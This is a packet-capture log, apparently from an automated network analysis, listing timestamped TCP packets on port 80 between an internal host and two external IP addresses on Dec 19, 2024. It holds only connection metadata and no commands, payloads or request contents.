Dec 19, 2024 08:09:31.539370060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.539509058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.540780067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.542593956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.542717934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.543035030 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.545836926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.545943022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.545985937 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.548964977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.549081087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.549284935 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.552016020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.552135944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.552499056 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.555066109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.555197001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.555253029 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.558113098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.558221102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.559413910 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.561058044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.561197042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.562907934 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.564040899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.564135075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.566530943 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.566937923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.566986084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.567146063 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.569837093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.569967031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.570322037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.572760105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.572860956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.573570013 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.575691938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.575856924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.576064110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.578587055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.578699112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.578933001 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.581464052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.581573963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.581688881 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.584366083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.584477901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.584595919 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.587282896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.587452888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.587517977 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.590197086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.590311050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.590450048 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.592108011 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.592206955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.592300892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.593933105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.594048977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.594305992 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.595804930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.595932961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.596095085 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.597615957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.597673893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.598375082 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.599477053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.599543095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.599705935 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.601346016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.601428986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.601928949 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.603163004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.603280067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.603698015 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.604979038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.605112076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.605304003 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.606826067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.606950045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.607738018 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.608700037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.609795094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.609843016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.610810995 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.610846996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.610908985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.610927105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.612653017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.612757921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.612775087 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.614484072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.614598036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.614672899 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.616323948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.616437912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.616458893 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.618144989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.618855000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.622452021 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.622513056 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.622572899 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.622912884 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.622956038 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.622956038 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.623186111 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.623262882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.623282909 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.623737097 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.624222040 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.624368906 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.624376059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.624603033 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.625308990 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.625438929 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.625459909 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.626152039 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.626421928 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.626517057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.626945972 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.627511978 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.627640963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.627795935 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.628612041 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.628670931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.628773928 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.629673004 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.629800081 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.629820108 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.629888058 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.630794048 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.630886078 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.630907059 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.630961895 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.631871939 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.632002115 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.632067919 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.632067919 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.632122993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.632955074 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.633057117 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.633194923 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.634062052 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.634180069 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.634203911 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.634613991 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.635238886 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.635292053 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.635324001 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.635396004 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.636281967 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.636362076 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.636384010 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.637311935 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.637428999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.637454987 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.637785912 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.638412952 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.638468027 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.638514996 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.638572931 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.639512062 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.639580965 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.639616966 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.639688969 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.640712976 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.640830994 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.640842915 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.640927076 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.641701937 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.641803980 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.641829967 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.641949892 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.642780066 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.642844915 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.642875910 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.642937899 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.643879890 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.643990993 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.643996954 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.644399881 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.644999027 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.645087004 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.645095110 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.645379066 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.646075010 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.646146059 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.646270037 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.646342039 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.647182941 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.647278070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.647291899 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.647639036 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.648430109 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.648473978 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.648668051 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.649346113 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.649450064 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.649455070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.650423050 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.650520086 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.650574923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.650882959 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.651532888 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.651611090 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.651648045 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.651695013 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.652628899 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.652721882 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.652733088 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.653112888 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.653707027 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.653809071 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.653817892 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.653935909 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.654827118 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.654943943 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.654966116 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.655097008 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.655910969 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.656018019 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.656042099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.656388044 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.656996012 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.657068968 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.657104969 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.657346964 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.658086061 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.658205032 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.658230066 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.658407927 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.659173965 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.659198999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.659547091 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.660274029 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.660367012 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.660391092 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.660461903 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.661365032 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.661442041 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.661485910 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.661618948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.662484884 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.662580967 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.662602901 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.662856102 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.663552046 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.663674116 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.663697958 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.663881063 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.664654016 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.664762020 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.664787054 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.665240049 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.665724993 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.665839911 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.665848970 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.665956974 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.666845083 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.666954994 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.667042017 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.667941093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.668015003 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.668083906 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.668144941 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.669001102 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.669121027 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.669133902 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.669333935 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.670089960 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.670206070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.670232058 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.671185017 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.671271086 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.671293974 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.672272921 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.672382116 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.672405958 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.673409939 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.673434973 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.673556089 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.674534082 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.674545050 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.674559116 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.675693035 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.675721884 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.675864935 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.676666975 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.676711082 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.676769018 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.676791906 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.677804947 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.677830935 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.677864075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.677885056 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.678858995 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.678968906 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:31.678991079 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.680759907 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.684782028 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:31.762351990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.762413025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.762933016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.763031006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.763160944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.764507055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.764617920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.764619112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.764693022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.766004086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.766171932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.766673088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.767606020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.767725945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.767970085 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.768946886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.769093037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.769444942 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.770471096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.770629883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.770704985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.771945000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.772042036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.772316933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.773392916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.773539066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.773658991 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.774873018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.774990082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.775099039 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.776365995 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.776453972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.777318954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.777874947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.777967930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.778076887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.779320955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.779427052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:31.779781103 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:31.780813932 CET	80	49862	194.87.47.113	192.168.2.6
